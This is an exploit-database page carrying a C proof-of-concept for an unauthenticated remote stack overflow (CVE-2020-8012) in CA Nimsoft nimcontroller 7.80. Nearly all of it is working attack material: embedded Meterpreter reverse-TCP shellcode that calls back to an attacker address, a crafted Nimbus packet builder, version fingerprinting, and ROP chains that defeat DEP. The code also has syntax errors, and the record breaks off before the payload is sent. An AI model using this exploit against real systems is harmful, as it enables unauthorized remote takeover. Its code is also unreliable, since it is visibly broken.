header-logo
Suggest Exploit
vendor:
CA Unified Infrastructure Management Nimsoft
by:
wetw0rk
9.8
CVSS
CRITICAL
Remote Buffer Overflow
119
CWE
Product Name: CA Unified Infrastructure Management Nimsoft
Affected Version From: 7.8
Affected Version To: 7.8
Patch Exists: NO
Related CWE: CVE-2020-8012
CPE: a:ca:unified_infrastructure_management:nimsoft:7.80
Metasploit:
Other Scripts:
Platforms Tested: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)
2020

CA Unified Infrastructure Management Nimsoft 7.80 – Remote Buffer Overflow

Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. The exploit won't crash the service. You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being universal (worked first try on 2012).

Mitigation:

Apply the latest patch or upgrade to a version where the vulnerability is fixed.
Source

Exploit-DB raw data:

# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
# Exploit Author: wetw0rk
# Exploit Version: Public POC
# Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en
# Software Version : 7.80
# Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64)
# CVE: CVE-2020-8012   

/************************************************************************************************************************** 
 *                                                                                                                        *
 * Description:                                                                                                           *
 *                                                                                                                        *
 *    Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected.   *
 *    The exploit won't crash the service.                                                                                *
 *                                                                                                                        *
 *    You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it   *
 *    should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being *
 *    universal (worked first try on 2012).                                                                               *
 *                                                                                                                        *
 * Note:                                                                                                                  *
 *                                                                                                                        *
 *     This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass    *
 *     the stack cookie. WE OUT HERE!!!                                                                                   *
 *                                                                                                                        *
 * Compile:                                                                                                               *
 *                                                                                                                        *
 *    gcc poc_release.c -o singAboutMeImDyingOfThirst                                                                     *
 *                                                                                                                        *
 * Shoutout:                                                                                                              *
 *                                                                                                                        *
 *    Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA         *
 *    for dropping Ghidra, and my Mentor                                                                                  *
 *                                                                                                                        *
 * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- *
 * 11/07/19 - Vendor contacted (POC code and POC video sent)                                                              *
 * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug                                       *
 * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled                                                      *
 * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...)                                                 *
 * 12/03/19 - Vendor confirms exploitability and vulnerability presence                                                   *
 * 12/13/19 - Vendor finalizing hotfix                                                                                    *
 * 12/19/19 - Vendor hotfix tested against POC code                                                                       *
 * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20                               *
 * 01/21/20 - Vendor replies (awaiting more info)                                                                         *
 * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch                   *
 * 02/XX/20 - PoC sample dropped                                                                                          *
 **************************************************************************************************************************/

#include <stdio.h>
#include <stdint.h>
#include <ctype.h>
#include <stdlib.h>
#include <string.h>
#include <getopt.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <netinet/in.h>

/* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */
unsigned char shellcode[] = \
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
"\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
"\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
"\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
"\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
"\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
"\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
"\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
"\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4"
"\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
"\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
"\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
"\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
"\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
"\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
"\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
"\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
"\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
"\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
"\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
"\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
"\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
"\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
"\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";

const char *exploited[] = \
{
  "10.0.18362",
  "6.3.9600",
};

const char *versions[]= \
{
  "7.80 [Build 7.80.3132, Jun  1 2015]",
};

/********************************************************************************************************************
 *                                                                                                                  *
 * NimsoftProbe:                                                                                                    *
 *                                                                                                                  *
 *    This is the structure used for the packet generator, it will be used specifically as the return type. Within  *
 *    the structure there are 2 members, first the pointer to the packet and secondly the packet length.            *
 *                                                                                                                  *
 * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer):                                      *
 *                                                                                                                  *
 *    This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a *
 *    few modifications where made to handle the exploit buffer (mainly since it contains NULLS).                   *
 *                                                                                                                  *
 ********************************************************************************************************************/

#define PHLEN 300   /* header      */
#define PBLEN 2000  /* body        */
#define PALEN 10000 /* argv        */
#define FPLEN 20000 /* final probe */

#define CLIENT "127.0.0.1/1337"

#define INTSIZ(x) snprintf(NULL, 0, "%i", x)

unsigned char packet_header[] = \
"\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a";
unsigned char packet_body[] = \
                                    /* nimbus header */
"\x6d\x74\x79\x70\x65\x0F"          /* mtype         */
"\x37\x0F\x34\x0F\x31\x30\x30\x0F"  /* 7.4.100       */
"\x63\x6d\x64\x0F"                  /* cmd           */
"\x37\x0F%d\x0F"                    /* 7.x           */
"%s\x0F"                            /* probe         */
"\x73\x65\x71\x0F"                  /* seq           */
"\x31\x0F\x32\x0F\x30\x0F"          /* 1.2.0         */
"\x74\x73\x0F"                      /* ts            */
"\x31\x0F%d\x0F"                    /* 1.X           */
"%d\x0F"                            /* UNIX EPOCH    */
"\x66\x72\x6d\x0F"                  /* frm           */
"\x37\x0F%d\x0F"                    /* 7.15          */
"%s\x0F"                            /* client addr   */
"\x74\x6f\x75\x74\x0F"              /* tout          */
"\x31\x0F\x34\x0F\x31\x38\x30\x0F"  /* 1.4.180       */
"\x61\x64\x64\x72\x0F"              /* addr          */
"\x37\x0F\x30\x0F";                 /* 7.0           */

typedef struct {
  char *packet;
  int length;
} NimsoftProbe;

NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer)
{
  int index = 0;
  int fmt_args;
  int lbody = 0;
  int largs = 0;
  char *tptr;
  char pheader[PHLEN];
  char pbody[PBLEN];
  char pargs[PALEN];
  char pbuffer[FPLEN];
  char temp_buffer[80];
  char *probe = lparams[0];

  int epoch_time = (int)time(NULL);

  NimsoftProbe *probePtr = (NimsoftProbe*)malloc(sizeof(NimsoftProbe));

  fmt_args = snprintf(NULL, 0, "%d%s%d%d%d%s",
    (strlen(probe)+1),
    probe,
    (INTSIZ(epoch_time)+1),
    epoch_time,
    (strlen(CLIENT)+1),
    CLIENT
  );

  if ((fmt_args + sizeof(packet_body)) > PBLEN) {
    printf("Failed to generate packet body\n");
    exit(-1);
  }

  lbody = snprintf(pbody, PBLEN, packet_body,
    (strlen(probe)+1),
    probe,
    (INTSIZ(epoch_time)+1),
    epoch_time,
    (strlen(CLIENT)+1),
    CLIENT
  );

  for (i = 1; i < nparams; i++)
  {
    memset(temp_buffer, '\0', 80);

    for (j = 0; j < strlen(lparams[i]); j++)
    {
      if ((c = lparams[i][j]) == '=')
      {
        memcpy(temp_buffer, lparams[i], j);
        index = ++j;
        break;
      }
    }

    tptr = lparams[i];

    if ((c = 1, c += strlen(temp_buffer)) < PALEN) {
      largs += snprintf(pargs+largs, c, "%s", temp_buffer);
      largs++;
    } else {
      printf("Failed to generate packet arguments\n");
      exit(-1);
    }

    if (index > 0 && exploit_buffer == 0)
    {
      tptr = tptr+index;

      if ((largs + strlen(tptr) + 2) < PALEN)
      {
        largs += snprintf(pargs+largs, 2, "%s", "1");
        largs++;

        largs += snprintf(pargs+largs, strlen(tptr)+1, "%d", strlen(tptr)+1);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }

      c = 1, c += strlen(tptr);
      if ((largs + c) < PALEN)
      {
        largs += snprintf(pargs+largs, c, "%s", tptr);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }
    }

    if (index > 0 && exploit_buffer > 0)
    {
      tptr = tptr+index;

      if ((largs + exploit_buffer + 2) < PALEN)
      {
        largs += snprintf(pargs+largs, 2, "%s", "1");
        largs++;

        largs += snprintf(pargs+largs, 5, %d", exploit_buffer+1);
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }

      c = 1, c += exploit_buffer;

      if ((largs + c) < PALEN)
      {
        memcpy(pargs+largs, tptr, c);
        largs += exploit_buffer;
        largs++;
      } else {
        printf("Failed to generate packet arguments\n");
        exit(-1);
      }
    }
  }

  index = snprintf(pbuffer, FPLEN, packet_header, lbody, largs);
  index += lbody;

  if (index < FPLEN) {
    strncat(pbuffer, pbody, lbody);
  } else {
    printf("Failed to concatenate packet body\n");
    exit(-1);
  }

  for (i = 0; i < index; i++)
    if (pbuffer[i] == '\x0f')
      pbuffer[i] = '\x00';

  if ((index + largs) < FPLEN) {
    for (i = 0; i < largs; i++)
      pbuffer[index++] = pargs[i];
  }
  else {
    printf "Failed to concatenate packet arguments\n");
    exit(-1);
  }

  probePtr->packet = pbuffer;
  probePtr->length = index;

  return probePtr;
}

/*********************************************************************************************************************
 *                                                                                                                   *
 * int parse_directory(char *response, int length):                                                                  *
 *                                                                                                                   *
 *    This function will parse the directory contents, specifically looking for the entry keyword;  if found, we can *
 *    proceed with exploitation.                                                                                     *
 *                                                                                                                   *
 * int check_vulnerability(char *rhost, int rport):                                                                  *
 *                                                                                                                   *
 *    This function will send a Nimbus probe to the target controller, specifically the directory_list probe. Once   *
 *    sent the returned packet will be parsed by parse_directory.                                                    *
 *                                                                                                                   *
 *********************************************************************************************************************/

#define PE "(\033[1m\033[31m-\033[0m)"
#define PI "(\033[1m\033[94m*\033[0m)"
#define PG "(\033[1m\033[92m+\033[0m)"

int parse_directory(char *response, int length)
{
  int i;
  int backup;
  int check = 0;
  int index = 0;

  char buf[80];
  struct tm ts;
  time_t capture;

  if (strncmp(response, "nimbus/1.0", 10) != 0)
    return -1;

  while (index < length)
  {
    if (strcmp("entry", (response+index)) == 0)
      printf("%s Persistence is an art\n\n", PG);

    if (strcmp("name", (response+index)) == 0) {
      backup = index;
      check = 1;

      /* last modified */
      for (int i = 0; i < 15; i++)
        index += strlen(response+index) + 1;
      capture = atoi(response+index);
      ts = *localtime(&capture);
      strftime(buf, sizeof(buf), "%m/%d/%Y %I:%M %p", &ts);
      printf("%12s ", buf);
      index = backup;

      /* type */
      for (int i = 0; i < 7; i++)
        index += strlen(response+index) + 1;
      if (strcmp("2", (response+index)) == 0)
        printf("%7s", " ");
      else
        printf("%-7s", "<DIR>");
      index = backup;
      /* name */
      for (int i = 0; i < 3; i++)
        index += strlen(response+index) + 1;
      printf("%s\n", response+index);
    }
    index += strlen(response+index) + 1;
  }

  return (check != 1) ? -1 : 0;
}

int check_vulnerability(char *rhost, int rport)
{
  int c;
  int sock;
  int count;

  NimsoftProbe *probe;
  char response[BUFSIZ];
  struct sockaddr_in srv;
  char *get_directory_listing[] = { "directory_list", "directory=C:\\", "detail=1" };

  probe = packet_gen(get_directory_listing, 3, 0);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;
  printf("%s Verifying vulnerable probe is reachable\n", PI);

  send(sock, probe->packet, probe->length, 0);
  count = read(sock, response, BUFSIZ);

  if (parse_directory(response, count) == 0)
    printf("\n%s Target ready for exploitation\n", PG);
  else
    return -1;

  free(probe);
  close(sock);

  return 0;
}

/********************************************************************************************************************
 *                                                                                                                  *
 * char *nimdex(char *haystack, char *needle, int size):                                                            *
 *                                                                                                                  *
 *    This function works similar to strstr, however it was specifically made to index "keys" to their respective   *
 *    "values" within a Nimbus packet. It has only been tested against the get_info packet.                         *
 *                                                                                                                  *
 * int parse_response(char *response, int length):                                                                  *
 *                                                                                                                  *
 *    This function leverages nimdex to perform 2 checks. The first check will verify the target operating system   *
 *    has been exploited, the second check will verify the Nimbus controller version is exploitable (or rather has  *
 *    a ROP chain ready). In order for exploitation to succeed only the second check needs to pass, I have faith in *
 *    my ROP chain being universal.                                                                                 *
 *                                                                                                                  *
 * int check_version(char *rhost, int rport):                                                                       *
 *                                                                                                                  *
 *    This function will send a Nimbus probe to the target controller, specifically the get_info probe. Once sent   *
 *    the returned packet will be parsed by parse_response.                                                         *
 *                                                                                                                  *
 ********************************************************************************************************************/

char *nimdex(char *haystack, char *needle, int size)
{
  int found = 0;
  int index = 0;

  if (strncmp(haystack, "nimbus/1.0", 10) != 0)
    return NULL;

  while (index < size)
  {
    if (strcmp(needle, (haystack+index)) == 0)
      found = 2;
    else if (found >= 2)
      found++;
    if (found == 5)
      return &haystack[index];
    index += strlen(haystack+index) + 1;
  }
  return NULL;
}

int parse_response(char *response, int length)
{
  int i;
  int c;
  char *ptr;
  int check = 0;
  int nv = sizeof(versions)/sizeof(versions[0]);
  int ne = sizeof(exploited)/sizeof(exploited[0]);

  if ((ptr = nimdex(response, "os_minor", length)) == NULL)
    return -1;
  printf("%s Probe successful, detected: %s\n", PI, ptr);

  if ((ptr = nimdex(response, "os_version", length)) == NULL)
    return -1;

  for (i = 0; i < ne; i++)
    if ((strcmp(exploited[i], ptr)) == 0)
      check = 1;

  if (check != 1)
  {
    printf("%s Exploit has not been tested against OS version\n", PE);
    printf("%s Continute exploitation (Y/N): ", PE);

    c = getchar();
    if (tolower(c) != 'y')
      exit(-1);

    printf("%s If exploitation successful, update code!!!\n", PI);
    if ((ptr = nimdex(response, "os_version", length)) == NULL)
      return -1;
    printf("%s Target OS ID: %s\n", PI, ptr);
  }
  else
    printf("%s Target OS appears to be exploitable\n", PI);

  check = 0;

  if ((ptr = nimdex(response, "version", length)) == NULL)
    return -1;

  for (i = 0; i < nv; i++)
    if ((strcmp(versions[i], ptr)) == 0)
      check = 1;

  if (check != 1) {
    printf("%s Exploit has not been tested against target build\n", PE);
    exit(-1);
  } else
    printf("%s Nimbus build appears to be exploitable\n", PI);

  return 0;
}

int check_version(char *rhost, int rport)
{
  int c;
  int sock;
  int count;
  NimsoftProbe *probe;
  char response[BUFSIZ];
  struct sockaddr_in srv;
  char *get_operating_sys[] = { "get_info", "interfaces=0" };

  probe = packet_gen(get_operating_sys, 2, 0);

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -1;

  srv.sin_addr.s_addr = inet_addr(rhost);
  srv.sin_port = htons(rport);
  srv.sin_family = AF_INET;

  if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0)
    return -1;

  printf("%s Sending get_info probe to %s:%d\n", PI, rhost, rport);

  send(sock, probe->packet, probe->length, 0);
  count = read(sock, response, BUFSIZ);

  if ((parse_response(response, count) != 0)) {
    printf("%s Probe failed, unable to parse packet\n", PE);
    exit(-1);
  }

  free(probe);
  close(sock);

  return 0;
}

/*****************************************************************************************************************
 * This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes otherwise our call will fail.         *
 * I had VP work 50% of the time when the stack was unaligned.                                                   *
 *****************************************************************************************************************/
int64_t rsp_alignment_rop_gadgets[] = {

[0 ... 19]    = 0x0000000140018c42, // ret (20 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x00000001401a3000, // *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
                0x00000001400af237, // pop rdi ; ret
                0x0000000000000007, // alignment for rsp
                0x0000000140025dab, // add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
};

/*****************************************************************************************************************
 * This chain will craft function calls to GetModuleHandleA, GetProcAddressStub, and finally VirtualProtectStub. *
 * Once completed, we have bypassed DEP and can get code execution. Since VirtualProtectStub is auto generated,  *
 * we needn't worry about other Windows OS's.                                                                    *
 *****************************************************************************************************************/
int64_t dep_bypass_rop_gadgets[] = {

// RAX -> HMODULE GetModuleHandleA(
//  ( RCX == *module ) LPCSTR lpModuleName,
// );
[0 ... 14]    = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[24 ... 33]   = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x00000000000009dd, // offset to "kernel32.dll"
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[37 ... 51] =   0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400b741b, // xchg eax, ecx ; ret
                0x0000000140002ef6, // pop rax ; ret
                0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20)
                0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[56 ... 72] =   0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> FARPROC GetProcAddressStub(
//   ( RCX == &addr    ) HMODULE hModule,
//   ( RDX == *module  ) lpProcName
// );
                0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[83 ... 92]   = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x0000000000000812, // offset to "virtualprotectstub"
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[96 ... 110]  = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret
[112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
[123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret
                0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[138 ... 143] = 0x0000000140018c42, // ret
                0x0000000140002ef6, // pop rax ; ret
                0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20)
                0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
[147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS)

// RAX -> BOOL VirtualProtectStub(
//   ( RCX == *shellcode          ) LPVOID  lpAddress,
//   ( RDX == len(shellcode)      ) SIZE_T  dwSize,
//   ( R8  == 0x0000000000000040  ) DWORD   flNewProtect,
//   ( R9  == *writeable location ) PDWORD  lpflOldProtect,
// );
                0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
                0x000000014013d651, // pop r12 ; ret
                0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
                0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
[168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret
                0x0000000000000000, //
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x000000000000059f, // (offset to *shellcode)
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400b741b, // xchg eax, ecx ; ret
                0x00000001400496a2, // pop rdx ; ret
                0x00000000000005dc, // dwSize
                0x00000001400bc39c, // pop r8 ; ret
                0x0000000000000040, // flNewProtect
                0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
[221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS)
                0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
[239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS)
                0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
                0x0000000000000000, // (zero out rax)
                0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
                0x0000000000000000, //
[268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS)
                0x0000000140131643, // pop rcx ; ret
                0x0000000000000317, // (offset to our shellcode)
                0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret
[281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS)
                0x00000001400a9747, // jmp rax
[297 ... 316] = 0x0000000140018c42, // ret (do not remove)
};

/********************************************************************************************************************
 *                                                                                                                  *
 * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]):                               *
 *                                                                                                                  *
 *    This function will generate a rop chain and store it in the buffer passed as the first argument. The return   *
 *    value will contain the final ROP chain size.                                                                  *
 *                                                                                                                  *
 ********************************************************************************************************************/

#define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t))
#define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t))

int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[])
{
  int i, j, k;
  int chain_size = 0;

  for (i = 0; i < gadgets; i++)
    for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++)
    {
      *buffer++ = ((rop_gadgets[i]>>k)&0xff);
      chain_size++;
      k += 8;
    }

  return chain_size;
}

#define MAX_EXPLOIT_BUFFER 9000

unsigned char *generate_exploit_buffer(unsigned char *buffer)
{
  int r1, r2, c;
  char rop_chain[20000];
  unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00";

  memset(buffer     , 0x41, 1000);  // Offset
  memset(buffer+1000, 0x0F, 33);
  memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret
  memset(buffer+1041, 0x41, 7);     // Adjustment for the initial chain

  /* generate the first rop chain to perform stack alignment */
  r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets);
  memcpy(buffer+1048, rop_chain, r1);
  c = r1 + 1048;

  /* adjust for second stage */
  memset(buffer+c, 0x57, 631);
  c += 631;

  /* generate the second rop chain to perform DEP bypass */
  r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets);
  memcpy(buffer+c, rop_chain, r2);
  c += r2;

  /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */
  memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631)));
  c += (3500 - (r1 + r2 + 631));

  memcpy(buffer+c, "kernel32.dll\x00", 13);
  c += 13;

  memcpy(buffer+c, "VirtualProtect\x00", 15);
  c += 15;

  /* NOPS */
  memset(buffer+c, 0x90, 500);
  c += 500;

  /* shellcode */
  memcpy(buffer+c, shellcode, (sizeof(shellcode)-1));
  c += (sizeof(shellcode)-1);

  /* filler */
  memset(buffer+c, 0x10, (8000 - c));

  return buffer;
}

#define MAX_ARGUMENTS 5

void help()
{
  printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n");
  printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n");
  printf("optional arguments:\n");
  printf("  -h, --help                  show this help message and exit\n");
  printf("  -t TARGET, --target TARGET  target host to probe\n");
  printf("  -p PORT, --port PORT        nimcontroller port\n\n");
  printf("examples:\n");
  printf("  ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n");
  exit(0);
}

int main(int argc, char **argv)
{
  int c;
  int sock;
  int rport;
  NimsoftProbe *probe;
  struct sockaddr_in srv;
  char *rhost, *port;
  char *params[MAX_ARGUMENTS];
  unsigned char *exploit_buff;
  unsigned char buffer[MAX_EXPLOIT_BUFFER];
  unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory=";

  char *exploit[] = { "directory_list", final_buffer };

  while (1)
  {
    static struct option long_options[] =
    {
      {"help",    no_argument,        0, 'h'},
      {"target",  required_argument,  0, 't'},
      {"port",    required_argument,  0, 'p'},
      {0, 0, 0}
    };

    int option_index = 0;

    c = getopt_long (argc, argv, "ht:p:", long_options, &option_index);

    if (c == -1)
      break;

    switch(c)
    {
      case 't':
        rhost = optarg;
        break;
      case 'p':
        port = optarg;
        break;
      case 'h':
      default:
        help();
        break;
    }
  }

  if (argc < 5)
    help();

  rport = atoi(port);

  if (check_version(rhost, rport) != 0) {
    printf("%s Failed to connect to target host\n", PE);
    exit(-1);
  }

  if (check_vulnerability(rhost, rport) != 0) {
    printf("%s Target failed vulnerability tests\n", PE);
    exit(-1);
  }

  printf("%s Generating evil nimbus probe, we're watching\n", PI);
  exploit_buff = generate_exploit_buffer(buffer);
  memcpy(final_buffer+10, exploit_buff, 8000);
